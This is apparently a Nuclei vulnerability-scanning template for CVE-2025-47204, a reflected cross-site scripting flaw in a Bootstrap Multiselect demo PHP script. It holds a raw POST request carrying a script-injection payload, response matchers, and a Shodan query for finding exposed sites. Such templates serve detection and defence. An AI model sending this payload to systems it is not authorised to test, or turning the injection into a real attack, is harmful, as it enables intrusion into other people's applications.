id: CVE-2025-47204

info:
  name: Bootstrap Multiselect <= 1.1.2 - Cross-Site Scripting
  author: r3naissance
  severity: medium
  description: |
    A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Only use the necessary components (css/js) in production applications
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47204
  classification:
    epss-score: 0.01436
    epss-percentile: 0.8095
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"bootstrap-multiselect"
  tags: cve,cve2025,xss,bootstrap-multiselect,vkev,vuln

http:
  - raw:
      - |
        POST /bootstrap-multiselect/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        canary="><script>alert(document.domain)</script>

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "bootstrap-multiselect-master")'
        condition: and
# digest: 490a0046304402201546acb1aeb883ad526b26fde4e17241aa085c4b8a77f9cab2cedf4a12a6c8eb022045b25005f775e37c7de4b563a0cdac57a82803a2bf9c5b35f9e27aeb917e7350:922c64590222798bb761d5b6d8e72950